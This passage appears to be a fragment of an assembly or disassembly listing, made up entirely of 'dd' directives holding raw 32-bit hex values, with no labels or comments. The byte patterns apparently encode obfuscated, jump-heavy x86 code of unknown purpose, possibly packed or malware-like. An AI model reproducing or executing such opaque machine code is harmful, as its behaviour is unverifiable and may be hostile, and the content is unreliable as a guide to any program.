912617A5h, 43457188h, 0DB188EF7h, 4AFF6AE6h dd 93F545FBh, 0AAB1B95Bh, 60577B6Ah, 81C88B66h, 0FEAFFC7h dd 60596132h, 9F96B866h, 2820Fh, 5A520000h, 0F7B70F61h dd 2830Fh, 52B40000h, 0B3F51FB3h, 28A0FB7h, 0B7000000h dd 0BF0F6023h, 13E9D3h, 9A40000h, 44285BC1h, 23522044h dd 492DC609h, 834CF2D1h, 8B666104h, 0BE8C7h, 98690000h dd 6F0B8F1Eh, 63943E6Ah, 38D0F80h, 80000000h, 0E95812C3h dd 0Eh, 369C378h, 88FA0622h, 0C7C2D010h, 0AE96729h, 0A1000000h dd 26A9252Bh, 0D40C8E43h, 6E850A0h, 0E7000000h, 522FF2F2h dd 0CE888h, 6EB90000h, 3326C5Fh, 74C2375Dh, 5B5B39A3h dd 8E859h, 16310000h, 5437DFE1h, 0F480F793h, 0EA81597Dh dd 7749D874h, 0BEC7B8FCh, 870F71A1h, 2, 0BE9D88Bh, 0FA000000h dd 0D35825B8h, 48C14493h, 0D98B6A69h, 0FDB3CF8Bh, 66C18B66h dd 8B53D88Bh, 9E958F9h, 45000000h, 133D22D8h, 0C5823FF8h dd 5049EA80h, 59B5E180h, 1547BA66h, 0E9F9BF0Fh, 9, 0DBA62361h dd 0DF7A34A4h, 0F38166D6h, 890F018Fh, 4, 4FC5BB66h, 6EF7E981h dd 0BE96866h, 0B3000000h, 0F1BC65D5h, 0D56564A3h, 8DB3ED87h dd 6840F57h, 81000000h, 8189FBD7h, 0F565A11h, 581h, 0D8816600h dd 605E0414h, 0E9E2DC80h, 0Eh, 3DE5A535h, 4E16544Ch, 9E318BB2h dd 8161A434h, 0A86032F2h, 38B0F17h, 80000000h, 0C28163C2h dd 64044789h, 77DB8157h, 5F0D0650h, 4AD88166h, 0F53FC65h dd 0C88h, 7E900h, 0CC540000h, 74E656Fh, 0B2F959EEh, 0E38157F0h dd 1D91CF6Dh, 6E85Bh, 0C0420000h, 40A0006Eh, 0C18B665Eh dd 2CE38166h, 0D8F580D3h, 28A0FF9h, 8B000000h, 28B0FF9h dd 8A000000h, 0FF88BEBh, 228Ah, 8E800h, 546B0000h, 5E23D927h dd 0FE9AADFh, 54000000h, 0CFE29CF4h, 40177FC4h, 4F748EDBh dd 0E95AF2E8h, 0Fh, 24254CBCh, 81EA7B9Fh, 4170028Eh, 0B03B4833h dd 0C6DB8143h, 8056202Ch, 816612DDh, 80AA6BDEh, 8B663CD8h dd 0FE9CFh, 0C3C30000h, 397C15CAh, 591A7324h, 0BE6ED6AEh dd 0A5E38007h, 0FCA9B866h, 8B66D78Bh, 66EBB1D3h, 5F1FCB81h dd 57F9F58Ah, 0FC28166h, 10E95A57h, 58000000h, 0C49033A9h dd 7879D19Eh, 38823843h, 80EDA22Bh, 816699EDh, 66698CE1h dd 958CA81h, 0C57159BBh, 0A150BE56h, 14E92511h, 1B000000h dd 63FA0301h, 0D03E0Eh, 0EA1C7DB2h, 0F3A9189Ch, 0E9E79B5Fh dd 8, 0C29E97C6h, 15A65595h, 0E881C38Ah, 606CF835h, 0BE8h dd 0C5332C00h, 93845CAFh, 87D124E7h, 5BD18B66h, 0B0D3B70Fh dd 10E8DCh, 0DAB90000h, 7842C90Dh, 0F42C9142h, 1AEA0A34h dd 0E960084Ah, 11h, 615CFA72h, 8B43F9DBh, 0C1670DE0h, 0E643689h dd 6EBB66F9h, 66586114h, 0D881CB8Bh, 0B5227A2h, 0DE9h dd 0D08FDD00h, 5F0B1F8Bh, 0A9CF9D63h, 0D78B90C8h, 0AE9h dd 83CE2800h, 0FCFF4C8Eh, 0F5BF03Ah, 58Bh, 0DCBFBE00h dd 13E96C2Ch, 49000000h, 0D84DC8DCh, 585901Ah, 781C4BB7h dd 0CE1F288Ch, 8F0F9FC8h, 0 dd 0F3BF0F60h, 4134B5B9h, 6CBF612Bh, 5619D0F2h, 13E9h dd 31A36C00h, 89DAFD86h, 0FC4E98B9h, 2362517Bh, 0AC1E37D9h dd 0E950FC59h, 0Bh, 85473C34h, 0F317A822h, 5E94C80Dh, 5E9h dd 0D6D2CF00h, 816660BAh, 0E87353D6h, 7, 4216E0EEh, 0FCA1DE0Fh dd 0F78B665Fh, 8820Fh, 840F0000h, 2, 8B66D18Bh, 9797BAF8h dd 0D2813A3Ah, 6FEF6C5Ah, 7CD5D3BBh, 0F78B6627h, 68B0Fh dd 0E7810000h, 370CEC38h, 11E8h, 0E4CD6500h, 0C10FCBC9h dd 452290E1h, 72B2DFB6h, 0BF0F7020h, 0AE85AD2h, 0DD000000h dd 0E12A390Ah, 2363E52Bh, 8EE81E8h, 5F083550h, 13E9h, 733E8300h dd 9B134694h, 0B9772B0Bh, 0A365C2CEh, 3DD254B8h, 2C8A0Fh dd 13E80000h, 5C000000h, 19763CB5h, 80415F39h, 0F1B7FBCCh dd 0AE441AA4h, 0EE9C49Bh, 8B000000h, 8E48636h, 459FEE9Bh dd 47A7CBA1h, 0DA815B46h, 4BBEC23h, 7E960h, 2F180000h dd 3D8A00B8h, 0AE94Bh, 43110000h, 6DA38823h, 964442DDh dd 0F8B70F61h, 6E9h, 4B954000h, 8AD5553Ah, 810FF8FAh, 12h dd 0DE9h, 27DE5D00h, 2CF14F73h, 27793654h, 0C380DBE4h dd 5036BAC4h, 0FE849A1h, 4000000h, 0E50B9D47h, 639FE03h dd 0B1BD9607h, 0F603EC9h, 8Bh, 610DB500h, 0FE96058h, 29000000h dd 46696C2Ch, 6AC5845Eh, 0A191715Ch, 61F5395Fh, 61BFF860h dd 61327B55h, 14840Fh, 0FE90000h, 0C7000000h, 0ECEACC61h dd 0BC012AD9h, 9BDFD5CDh, 12E98F67h, 0B7000000h, 0CC72E633h dd 0C73CB44Dh, 2E7A3DF3h, 75C79E82h, 0C981664Ch, 870F035Fh dd 16h, 11E9h, 317E2900h, 501E131Bh, 0FC603D71h, 53CAC985h dd 0DF8B7274h, 0E9B2D981h, 7CB81D0Ch, 803BB0BDh, 8B661BE8h dd 0BDD180D9h, 12E8h, 677EE700h, 0A88463F8h, 0CF4F1179h dd 63EC144Bh, 5AB9C898h, 816672B4h, 8071A2E9h, 0F52B1F0h dd 0E85EFAB7h, 0Eh, 0E25C0D3Fh, 0ADF7E0Fh, 0FCADC123h dd 0C0BB58C0h, 5E107FA4h, 6E95660h, 1E000000h, 0BE86A016h dd 9E95BEFh, 7A000000h, 2A52719Fh, 33BADB4Ch, 0D18B6661h dd 59CA8B56h, 2850Fh, 8DB00000h, 8E9h, 27B2D200h, 93AD6ED7h dd 0DE97Eh, 2C260000h, 0E76E71A3h, 64FC3159h, 0FA0C16Ch dd 8Bh, 81666000h, 617B0CCFh, 11830Fh, 9E80000h, 7000000h dd 70155674h, 0D7BCE37Ah, 805BDD8Ah, 8B6623EBh, 0BE9C1h dd 8B220000h, 66013441h, 0DF7C53B2h, 0DA8BF878h, 3FD18166h dd 12BB66BBh, 0FE920h, 0DCF90000h, 939133D8h, 27789D62h dd 8D7B58BDh, 0DE9F811h, 3F000000h, 5818C582h, 5D35E14Ch dd 0F0A14809h, 0E8D8B70Fh, 6, 0FFF7BA57h, 0BE99BB1h, 0A2000000h dd 436C7ECAh, 55C17B0Ch, 0F55B152Ah, 80E140B9h, 5E921h dd 8A7C0000h, 0FBAA491h, 80h, 10E900h, 579D0000h, 1D3FB9B6h dd 420EDFA2h, 6C9563D7h, 0C081EA20h, 4327A370h, 11CF8166h dd 58A0FA1h, 0BA000000h, 30954274h, 0BE8F9h, 0F3B20000h dd 0BB20E33Eh, 6FCC5412h, 12E865h, 0C3D40000h, 16363A5h dd 85200DBBh, 0A520ED15h, 44347EE2h, 12E9h, 15C59100h dd 49B4C8ADh, 7672E0AAh, 0E4D67487h, 5ABB9398h, 0C0BF605Bh dd 816C70C2h, 0BE8831DEh, 0B70F6138h, 12E9F3h, 2AC70000h dd 61AA80EFh, 0C1C05B59h, 8F3497ACh, 64661C1h, 0C480D08Bh dd 58CFB84Bh, 0B6BF3321h, 0F6E2F0Ch, 384h, 0C28B6600h dd 0EE86EE81h, 0E4BA3929h, 663AB552h, 6674BCBAh, 14E8C38Bh dd 0DE000000h, 0D2B47B31h, 1A2B305Dh, 75854021h, 0E74E0502h dd 0BB1DC679h, 26EF83A3h, 0CE95Bh, 0D3CF0000h, 3A0AE4B8h dd 5D1912FEh, 66601F05h, 0E94AD1B9h, 6, 9B533F4Fh, 0E861904Bh dd 0Fh, 0FF968961h, 0F4E2CBC6h, 46289DD2h, 5EB33F6Fh, 0A1CEE781h dd 0BF0F0934h, 0B870FD0h, 0F000000h, 58Ch, 0D9816600h dd 10E8A0A5h, 6B000000h, 28C0AC3Ch, 0A2FDDE73h, 31A7A57Fh dd 0F94492E2h, 870F5Bh, 0B9000000h, 2DA8041Fh, 0FEB9C78Bh dd 0F57A67Dh, 8Ch, 10E900h, 56270000h, 81C7AAB6h, 0B95A5241h dd 0AD5B68Bh, 8B66A2A1h, 0CE956F0h, 0DA000000h, 7436998Bh dd 0E44F20B7h, 59F14443h, 9E9h, 661D5B00h, 9D7D0D46h, 0C18BD4B9h dd 14E8h, 0B8B7C00h, 67489FBBh, 48D63052h, 8EB1E864h, 414DD3F2h dd 14C68166h, 5A3DF4E8h, 0BE9h, 0BBC53700h, 5E14ED81h dd 0FB698B8Ah, 0F04B1F8h, 18Fh, 8B0FF800h, 2, 0BE8C38Bh dd 28000000h, 0E5F9E599h, 1DB34E19h, 5053C68Eh, 0F5E595Eh dd 89h, 0DC80F800h, 0BF0F602Dh, 0D8BF0FC9h, 5E961h, 406E0000h dd 81C15688h, 0D1E002DFh, 7E916h, 42AB0000h, 0DE12B512h dd 0A8A0F4Eh, 0F000000h, 48Bh, 5DB86600h, 188A0F42h, 0E9000000h dd 13h, 1272845Dh, 6E5B0F85h, 2BE079A9h, 7BFAAB2Ah, 0E90EDCE7h dd 11h, 0DBD8F4E0h, 663103A6h, 46C19AA2h, 27777966h, 0EA80FC82h dd 67F3BF50h, 6E94E28h, 85000000h, 1969097Ch, 8166F9FAh dd 0F9673C8h, 884h, 2820F00h, 60000000h, 0EE961h, 5E1E0000h dd 591EDECh, 4E90DDDBh, 0AF7FCCC4h, 3880Fh, 8B660000h dd 0DBBF8C3h, 66064577h, 0F560A3B9h, 10E9h, 0E807F800h dd 0AD642B7Ah, 45685121h, 95A41A84h, 5DA7BA87h, 0CF8A7AE1h dd 56D98B66h, 5FC28B66h, 2FFDBB66h, 0FE9h, 38FFA800h, 0F969A9BEh dd 7DDD051h, 0DBB4C2F7h, 14E9h, 43248900h, 1488DE04h, 0E1F5838Bh dd 71234FCh, 73AF2222h, 0FC18BB7h, 238Dh, 10E96000h, 70000000h dd 0FDFBE2D0h, 0EFA20D7Dh, 0DA3B5748h, 0E98285E7h, 7, 7967B5A9h dd 61EE6E46h, 2D33C881h, 0D68B4EC5h, 6E8h, 0ECB11600h dd 5A13A84Eh, 11E8h, 3BBEBA00h, 60D564D3h, 0AB19A824h dd 90A37D43h, 0CF8BAD94h, 11E9575Eh, 8B000000h, 0D392EBDBh dd 46120D6Dh, 2B69DB71h, 97CCDC2Dh, 0C68B665Eh, 66E1D980h dd 0B86BC881h, 11E953h, 0F8260000h, 1F3CAC58h, 7088DAF2h dd 7CF1FF37h, 5B157375h, 0E2816051h, 0DA36440h, 9E9h, 2F018F00h dd 598889ABh, 5A614FACh, 65D28166h, 526050F1h, 9B0CB85Bh dd 58610E89h, 1DB156F8h, 8166525Fh, 5BE046F1h, 7870Fh dd 66600000h, 0C18BDE8Bh, 0CA816061h, 66C0B486h, 0D2BE6661h dd 1AD181E1h, 0F42397Dh, 282h, 8AF18B00h, 0CF8B66F5h, 0F9C9BF0Fh dd 5860Fh, 81660000h, 8006D6C6h, 7E989C0h, 7E000000h, 9F5F17B4h dd 8166C8CCh, 817D50C9h, 0EED667E2h, 0C2816636h, 0C680D7EEh dd 6E9F5h, 57110000h, 810AB51Ah, 0CB8B66F5h, 0B70FF38Bh dd 46B966D9h, 61BEFCF1h, 66355DB4h, 51188FBEh, 0EF81F85Fh dd 85DD280h, 8166D9B7h, 0E9CF5EC9h, 0Ah, 9744C967h, 70EE92FCh dd 5E97BBDh, 44000000h, 68720A0Ch, 3860F57h, 0F000000h dd 8A5FCFBFh, 0E18166CAh, 8B661BEEh, 1880FD3h, 0FC000000h dd 0D38056F8h, 58505EF5h, 0D25119BAh, 0F38B660Eh, 0BAFBB70Fh dd 5FFA34A4h, 0E861FC60h, 0Eh, 8A7766ECh, 7307999Ah, 0D9DD1AAFh dd 0AE88A19h, 32000000h, 0B15D2D52h, 0B24763E9h, 11E88Ah dd 0DFA90000h dd 0FA70950Fh, 9B593D2h, 0A035F250h, 59C1E96Fh, 81665F5Fh dd 0E950A6C3h, 8, 22ECE5CAh, 0D6518709h, 8DAEBE66h, 84D98166h dd 0BBF9604Fh, 334477C5h, 14E861h, 0E3E40000h, 1E6A4F86h dd 0E333A2E9h, 395C3247h, 0A2228744h, 0E860F47Eh, 0Fh dd 32B532D6h, 4BFA1BD2h, 9AFB91h, 5A921F1Ch, 840Fh, 58610000h dd 0DEB3B966h, 7E9h, 0BD7EFD00h, 5027B569h, 0FD86E281h dd 8E0F0024h, 0Ch, 0FF15BB60h, 12BB4614h, 610ADCAEh, 6840Fh dd 0F1810000h, 532C601Fh, 10E8h, 48434800h, 5224122Bh dd 95528ABFh, 0B92ED325h, 0EB816607h, 0F85E2996h, 60CEBF0Fh dd 8F05EB81h, 0F61546Dh, 0E952DAB7h, 0Bh, 19AB1FEBh, 0D16E5324h dd 593A1929h, 10E8h, 598FBC00h, 82346C09h, 7FE295Ch, 7549A9DEh dd 0CE81661Eh, 815F291Ah, 0E6B55EF3h, 2810F74h, 8A000000h dd 12E8C2h, 9A320000h, 271CA8B1h, 3F64ED11h, 0C177C35Eh dd 2B677739h, 805AF08Ah, 0B70F00EEh, 81FA8BCEh, 113D4CEh dd 0D281F96Eh, 54BF5872h, 78B83CBFh, 0AE914h, 0BB70000h dd 0F5F7B037h, 757F4CDh, 0FC3B70Fh, 68Ch, 0C6D98100h, 0F387C52h dd 8Ah, 0DE800h, 0A4DE0000h, 58841389h, 90277518h, 5870A1C8h dd 0BA66F18Bh, 8E98795h, 9F000000h, 43DE2110h, 0E9D7AF86h dd 0Eh, 0C51F055Dh, 0A79F0013h, 991A332Bh, 60F52187h, 0EE9h dd 0DA786A00h, 0FD526206h, 41E7E68Eh, 52ED7B78h, 66FC615Ah dd 8131B0BEh, 0E760EBD2h, 74D88015h, 0D6CBFFBBh, 0C6816625h dd 0E381805Eh, 3590A511h, 8B66F3B3h, 10E9FCC1h, 0EF000000h dd 0AF010F0Bh, 4DE17498h, 735F9B77h, 0BEF81767h, 500DC467h dd 0AE9h, 5FBBCB00h, 31D63B53h, 81868F63h, 83D39F7h, 50B9F848h dd 0B665A493h, 0F3816699h, 8E0F330Dh, 4, 0C1ECB966h, 5E9h dd 0FF240500h, 8166FD44h, 6685BBC0h, 660AE2BFh, 805D62B9h dd 66F567CAh, 8A0FDE8Bh, 1Ch, 0F98B6660h, 12E9h, 43A70700h dd 0DDF04C19h, 60D167h, 5EFA64A2h, 6168D610h, 0EE9F5h dd 146C0000h, 0A2F06B9Fh, 8649A834h, 7C8344C5h, 5850FF5h dd 0BA000000h, 7BAABA1Ah, 8E8h, 0F9545500h, 0F32C056h dd 0F1BF0F4Eh, 8B665258h, 8A0F5EF8h, 8, 2860Fh, 5B570000h dd 0DD35BA66h, 0DB81F18Bh, 21AB111Ah, 28C0Fh, 9B00000h dd 6576BE66h, 12E9h, 52843D00h, 0CE2F7EDFh, 78F2E5D8h dd 608BC312h, 0E990737Ah, 13h, 0A9FF9FC8h, 3A265E98h, 17B47E62h dd 0C8CC9F5Fh, 0FF4BE5Dh, 382h, 0DE8B6600h, 5F585350h dd 14E9h, 1FF9FF00h, 0C6C5F8A9h, 3DE431D1h, 213E4135h dd 22706DBCh, 0E1DE80E5h, 6653F9B3h, 97EAD081h, 0C8DE805Eh dd 0CD9CB866h, 0B70FD38Ah, 0BF81B1F7h, 2ECD56CEh, 53D1B70Fh dd 0F8D1D981h, 0F586675h, 289h, 81F18B00h, 1F0CF8C7h, 0DA81660Bh dd 9E98C46h, 14000000h, 0E9DF7337h, 0F5806051h, 860F56h dd 59000000h, 3890Fh, 8B660000h, 0C7B70FCAh, 148C0Fh, 8C0F0000h dd 0Eh, 9E9h, 9F0300h, 33A958ABh, 0E58AC490h, 860FC68Ah dd 4, 0F78AB966h, 0E8C8B70Fh, 11h, 0D94EDFE2h, 5DF728B4h dd 0FF290F43h, 1325D5F3h, 0EF816660h, 665E435Bh, 8A91E081h dd 4D3DBA66h, 0CFBF0F60h, 66C68A61h, 0BF0FC88Bh, 6566B8C8h dd 0FE91C8Ah, 10000000h, 3DC087C2h, 0EDB0CDF9h, 0F96CDCCDh dd 8166817Eh, 51554DD1h, 3B3435BEh, 8B665F25h, 3830FD8h dd 66000000h, 0D281CF8Bh, 55FD2541h, 0E9F78B66h, 14h, 4BB3DC9Ah dd 0AFDDA808h, 39EF1924h, 1770A865h, 4C8C3C4Bh, 8A0Fh dd 58530000h, 0D3BF0FF9h, 15890FFCh, 0E9000000h, 10h, 8FE8A2DCh dd 2D71B35h, 0FD53499Fh, 8962C745h, 9E9h, 0BD67A900h, 6B90E018h dd 0DE866A3h, 1B000000h, 702DF7F8h, 49E80C62h, 0FA26DC6h dd 0EE8h, 9FE2CC00h, 0EB684769h, 88D5BCA9h, 66606CD5h dd 5A5FC38Bh, 2AE98166h, 0C4E68145h, 8B60F0BDh, 0A9E881DAh dd 51639F5Eh, 0ED51CB81h, 0F587D84h, 380h, 0D38B6600h dd 70E18053h, 8C0F58h, 0F000000h, 0E8Ch, 9E900h, 4D5B0000h dd 9AE2A9D9h, 6623DE81h, 8BF66FBEh, 890FD8h, 66000000h dd 0BF66C78Bh, 0C08177FBh, 26B4C9BCh, 0E081CE8Bh, 7D6C8E5Fh dd 6E9h, 0E8F85600h, 66263C05h, 4613D081h, 68B0Fh, 0D2810000h dd 35638AF7h, 3765E281h, 0DE8B4DE5h, 68E0Fh, 0B2600000h dd 61D5B7BAh, 23E2C281h, 800F46E5h, 0Bh, 5820Fh, 81660000h dd 0B32F9FF0h, 6938BE9Dh, 0EB8A236Ah, 0D336BE66h, 0E5DF8166h dd 0BB536058h, 20C86BB9h, 0CABF0F5Ah, 12E96061h, 0C4000000h dd 4BA940D5h, 0E40D375Eh, 50E10109h, 0A6B43F5Ah, 0D2816616h dd 0E861101Eh, 12h, 5AA3BF81h, 5D51DC00h, 294F1B4Dh, 320D8D3Fh dd 815A821Ah, 0C3F55E8h, 8E844h, 0E270000h, 0A094A59Ah dd 81667D94h, 5A669BE3h, 9440BF66h, 0FC3BF0Fh, 381h, 0D38B6600h dd 65971DBFh, 2EE8811Bh, 8B193802h, 0F08B66FBh, 0D0D28166h dd 1D68146h, 0BE393778h, 481789BEh, 5E9ABB66h, 80D3BF0Fh dd 13E83ADCh, 8D000000h, 3DBE64E6h, 0B2D52E17h, 4338EAE0h dd 0F3B51D78h, 8166DF2Bh, 5A6D2EE7h, 5AD28166h, 0F1B70FA2h dd 58C0Fh, 81660000h, 523A94E2h, 9CB86660h, 0BFD681D9h dd 61733BF8h, 5890F5Ah, 0BF000000h, 7EF882D4h, 8E9h, 84CEA300h dd 0D6450235h, 0AE94Bh, 0B8990000h, 94684AFAh, 2E570565h dd 0E29FDE81h, 880F0C7Dh, 5, 0F6E28166h, 0CF816665h, 810FF7B5h dd 3, 6609C280h, 0E96E63BEh, 11h, 6BA0910Eh, 47E7BC93h dd 0F457506h, 0FA03011Bh, 1B870F63h, 0F000000h, 1580h dd 10E900h, 709A0000h, 0E70C8FC9h, 9952ED7h, 5F5BCE70h dd 0B8560E33h, 21E4C574h, 2870F58h, 0B4000000h, 0B9DA8A4Bh dd 65B03F7Eh, 0FFCFA8Bh, 38Bh, 0F8BF0F00h, 7A4F1EB8h, 0D88B6651h dd 0B7DEBF0Fh, 0E95853DBh, 11h, 34CC2BC2h, 93D90A2h, 0D0046D68h dd 0E325956h, 4820FFFh, 66000000h, 60B370BEh, 59616050h dd 0F8B70F61h, 0F493ABBFh, 0F1BF0F30h, 18880Fh, 10E80000h dd 38000000h, 58922E4Ah, 0D6C919E6h, 43927B27h, 60385FDAh dd 0AE95F61h, 2B000000h, 138F9699h, 8634D032h, 10E960DAh dd 0A7000000h, 1D037227h, 0A48F515Eh, 35A14728h, 0F0E901Dh dd 68Ah, 8F08100h, 61772694h, 8603BE66h, 1FC92FBBh, 6DBF6669h dd 10E991h, 0A3340000h, 9DBD0A79h, 35A3C79h, 0DCAE7FC5h dd 76BF1C07h, 570C2738h, 6E9h, 35906A00h, 5B2941C6h, 0DE9FCh dd 17EC0000h, 0B4296227h, 0B952A6F8h, 665D62D3h, 57B343BAh dd 5E65F280h, 0CEBF0FFCh, 5A526057h, 8E9h, 933B000h, 5BB02BB6h dd 0BB5F6169h, 16FFF414h, 6A38BFF9h, 0E8816CB8h, 0ABAED10h dd 27A6B866h, 2870Fh, 0F88B0000h, 0D9BF0FFCh, 12E9h, 247F1B00h dd 0AA0F6E69h, 112F4736h, 2D6759A5h, 0E88AE520h, 6, 85200DBBh dd 8B0FED15h, 0 dd 10E9605Ah, 3F000000h, 1A8AF75Fh, 94400AEAh, 7B9B63DDh dd 60238AE6h, 6118F380h, 0C28B6661h, 81B7BBF9h, 0D8807F4Dh dd 0FDDE81A7h, 60326740h, 38B0Fh, 0B70F0000h, 0B6B966C9h dd 12B4617Fh, 800FFB8Bh, 0 dd 66D0B70Fh, 0C18BEA81h, 0D78B0DB4h, 37C2BE66h, 0A5D5C381h dd 81663A23h, 601D18D0h, 6DE9BA66h, 0CE9h, 1D865100h, 0A5D089E3h dd 0B575F652h, 0F2B361DBh, 66DEB70Fh, 0F76E4BFh, 86h, 232BF00h dd 0B70F0A3Ah, 8E0F52C3h, 4, 8A59B966h, 0C981F558h, 0B560893h dd 39D28160h, 8A58200Eh, 8B6661C3h, 0EE9FAh, 2AE20000h dd 0C118447Ch, 454407D4h, 0F7023F78h, 0FDE8B66h, 8B66D2B7h dd 8E9F2h, 1FF80000h, 0DF6CDA9Eh, 0BE9A2E8h, 9A000000h dd 0D02FE09Dh, 5B2FB1EBh, 66604CCEh, 0FB9CD381h, 0C7B70F61h dd 11880Fh, 0CE90000h, 39000000h, 0A5190ABDh, 994116D1h dd 608FCE5Ch, 168C0Fh, 10E80000h, 25000000h, 0B55F899h dd 0AD11679Dh, 494ECF8Ch, 5E84F5BCh, 38BA5061h, 594FF016h dd 0EE8h, 0F8307400h, 0B2855732h, 0C6DBB8B0h, 583F9C1Fh dd 38B0Fh, 0BF0F0000h, 6EEF81D1h, 8B03EE39h, 0C9BF0FF3h dd 0E8A9F780h, 0Dh, 0A9FAD22h, 929B0CE3h, 4D8DFFA3h, 1830F4Bh dd 0F5000000h, 4BEFBA5Eh, 0D2B0369Eh, 198A0Fh, 14E90000h dd 9F000000h, 0FC920A2Ch, 0E22BF8DFh, 8DC0B794h, 7544B778h dd 81347FABh, 0AAFE91DAh, 870F7Ch, 66000000h, 130FD881h dd 80DBB70Fh, 0E96066EFh, 10h, 0FCB37F40h, 3848BAEEh, 8AEB3D1h dd 0B17AAE35h, 99BE6661h, 12E9D6h, 0F83B0000h, 6F705097h dd 2759E539h, 0C249FC84h, 52F8D0C6h, 0DA8B6652h, 0C28BF958h dd 0DDE9F0B8h, 0CBBF0F0Eh, 5A565160h, 860F605Bh, 0 dd 0F516161h, 183h, 0F5AFC00h, 585h, 0E3816600h, 0FF991C8h dd 0D85h, 8E900h, 3D450000h, 0C402DAECh, 5E82600h, 4A000000h dd 2EC8A736h, 815EC6B3h, 16288CC6h, 80C38A71h, 0CE8BDFC2h dd 10E9h, 0A06BEF00h, 7CBE9585h, 9F0F8918h, 703273BCh dd 0DF8B6691h, 168D0Fh, 0DE80000h, 0F000000h, 4D8AB014h dd 95988612h, 35DDDED3h, 5ECA8B66h, 5FD78B53h, 0F29C081h dd 850F30A9h, 6, 0E88CD881h, 0EE95892h, 0B3000000h, 81F60676h dd 0FC7C02E2h, 0AE0CA881h, 44B86673h, 78C0FDBh, 52000000h dd 6BE18166h, 0DE95BB4h, 97000000h, 0CA9AE530h, 0DB977946h dd 0C0F71507h, 9E9h, 0BAA6D000h, 0B4ABCCD0h, 0BA66DC82h dd 0FFC7D27h, 0F18BCBBFh, 38D0Fh, 0D7800000h, 0CE8166D2h dd 0FC506F64h, 60B8B55Ah, 0AE861F8h, 0A9000000h, 31C62586h dd 0D7C4E7F3h, 0D1BF0F65h, 6E858h, 38D20000h, 0D22B881Bh dd 5808C980h, 0E993EE80h, 14h, 0CAEA5AADh, 0F91B2736h dd 6AE03203h, 5D8436E9h, 0C03512C2h, 5E8h, 643C6300h, 8B66A8ACh dd 0E2815AFEh, 7BD05280h, 6656D480h, 0D01AF381h, 50DC8A60h dd 17A8B866h, 0CE8615Ah, 33000000h, 0CB338A56h, 5B35CFD9h dd 66556FBCh, 0FA07E981h, 13E95Fh, 7F330000h, 0A65F28CCh dd 0C8ED8D9Fh, 0D5C55174h, 975B86E7h, 8E9DDh, 69B50000h dd 0F3B6417Dh, 7E94CE2h, 1F000000h, 0BA9D0498h, 0DA809CE5h dd 0AE9DBh, 0B67A0000h, 5F180226h, 40A3EDD6h, 8AC3B70Fh dd 0DA8166C5h, 880FEE39h, 10h, 8E856h, 233E0000h, 9BB7D5D5h dd 5F5A689Fh, 6021CB80h, 0E8C0Fh, 9E90000h, 0F1000000h dd 91C4190Bh, 0DF03949Eh, 0B6DE8166h, 840F6120h, 3, 8B7CEF80h dd 0BAB866CEh, 7E95Bh, 0BC30000h, 0BA485C93h, 0C1B05362h dd 7E959h, 44E40000h, 0D45D0E40h, 0F38B6073h, 0DE96061h dd 3C000000h, 736F4ADBh, 0D59F3EF7h, 9FFF2529h, 0C68B6660h dd 840Fh, 61610000h, 0C636BA66h, 0B966CE8Bh, 57BAE976h dd 8128F83Bh, 0FAAD82E6h, 5E950h, 0B37F0000h, 0F5BAEEFCh dd 9CE28166h, 0FE8FFh, 389C0000h, 97DD20B5h, 0C1ABA71Fh dd 274D91E5h, 68B0F78h, 0F000000h, 80h, 0BABF5F00h, 8B7A2E1Eh dd 0E860FF9h, 0E9000000h, 9, 261BDE69h, 414F431Dh, 6E910h dd 1B2F0000h, 0FA3ED861h, 0E9CF8B66h, 0Ch, 0AF260D39h dd 621BDAF7h, 0F363F595h, 8BDABF0Fh, 10E8F0h, 40840000h dd 0A6A7B44Eh, 0B973D957h, 170D90D2h, 7E9E5FEh, 0C4000000h dd 66242600h, 0E95816FFh, 0Eh, 0A768F324h, 86042BDAh, 88F5B82Ah dd 0BE66D8F5h, 806006F3h, 8F0FD3E8h, 1, 816661FCh, 0E993CAC8h dd 0Eh, 0AB22069Ah, 5BAD66B2h, 561795F4h, 9E92226h, 94000000h dd 216038C1h, 0A18D8B4Eh, 2840F51h, 0B5000000h, 0BE95A1Ah dd 0E2000000h, 0A597F3E1h, 275AA88Fh, 15BB33CFh, 0F8631B5Bh dd 0CE9h, 6BF66000h, 0ECAB6419h, 741D31A8h, 8A60F954h dd 4AC480EEh, 83CB8161h, 60079274h, 0E74CB966h, 12860F61h dd 60000000h, 5E8h, 7C4C4500h, 0BE5F2C06h, 6AC0DC9Bh, 0F565361h dd 595FFEB7h, 1820Fh, 0E8FC0000h, 0Ah, 0D896F804h, 0A16D1FDDh dd 0A7B8FF63h, 582E1AA2h, 5860Fh, 81660000h, 0E96DFBCFh dd 12h, 4FE1A619h, 716AF1Fh, 37C39EE6h, 0CF444D8h, 0E9F522DAh dd 9, 1E1B767Eh, 459D3128h, 9CEF81A7h, 8159C6A8h, 4C14F8F2h dd 48F0F2Fh, 66000000h, 66C181BBh, 6012BCBFh, 12E9h, 5172DD00h dd 7E3731Bh, 1CFA32ADh, 3519BAD9h, 0BA5E2885h, 35757337h dd 800FF861h, 3, 0FC7BF0Fh, 1183h, 5E800h, 238E0000h, 0F645125h dd 81h, 820F5B00h, 7, 0C7816656h, 0E95A91B4h, 0Dh, 9E427F89h dd 0FFAF3E07h, 0F4D25539h, 0BE842h, 855A0000h, 86A4DD87h dd 8E44FACAh, 0DBB70FCFh, 14E9FC5Eh, 44000000h, 0B50B4DCDh dd 1612BD91h, 866674Ch, 0BCFE3CFDh, 605EDA20h, 0AE9h, 0F0FE2800h dd 0BFAF7E5Fh, 0F5BFF01h, 0E961D2BFh, 0Fh, 61E4E552h, 0E4FA6AD3h dd 0E465CD4Ch, 66A41DE1h, 0E9F5D88Bh, 0Bh, 0C11FA1D1h dd 81D56711h, 0FE7B047h, 0B8Bh, 5810F00h, 66000000h, 5277CF81h dd 58566060h, 0D27ABB66h, 10E28061h, 5EBB6061h, 616C4F62h dd 2870FF9h, 8B000000h, 13E9F7h, 5D5A0000h, 3330B548h dd 5C448089h, 86F72B8Bh, 0C8D1DFEBh, 0FBE381A8h, 5174448Ch dd 5E9h, 0C1670D00h, 0F5A3689h, 8166FEBFh, 0E96648E0h dd 0Dh, 3B80E621h, 0A99C518Dh, 53C6D74Fh, 860F5130h, 5 dd 3736A1B9h, 0F78A5E0Ah, 0B2FEB70Fh, 800FA8h, 0B8000000h dd 61AA4D58h, 0AE860h, 188F0000h, 0B15EFD22h, 0EDD5EB24h dd 10E8h, 1C80F100h, 5493E39Fh, 8F46C84Fh, 8CDC143h, 0B75B5B6Ah dd 816661B4h, 8147D6E2h, 0A90E38E8h, 11E93Ah, 0F5600000h dd 0DE750940h, 2C54324Fh, 7C45D0E9h, 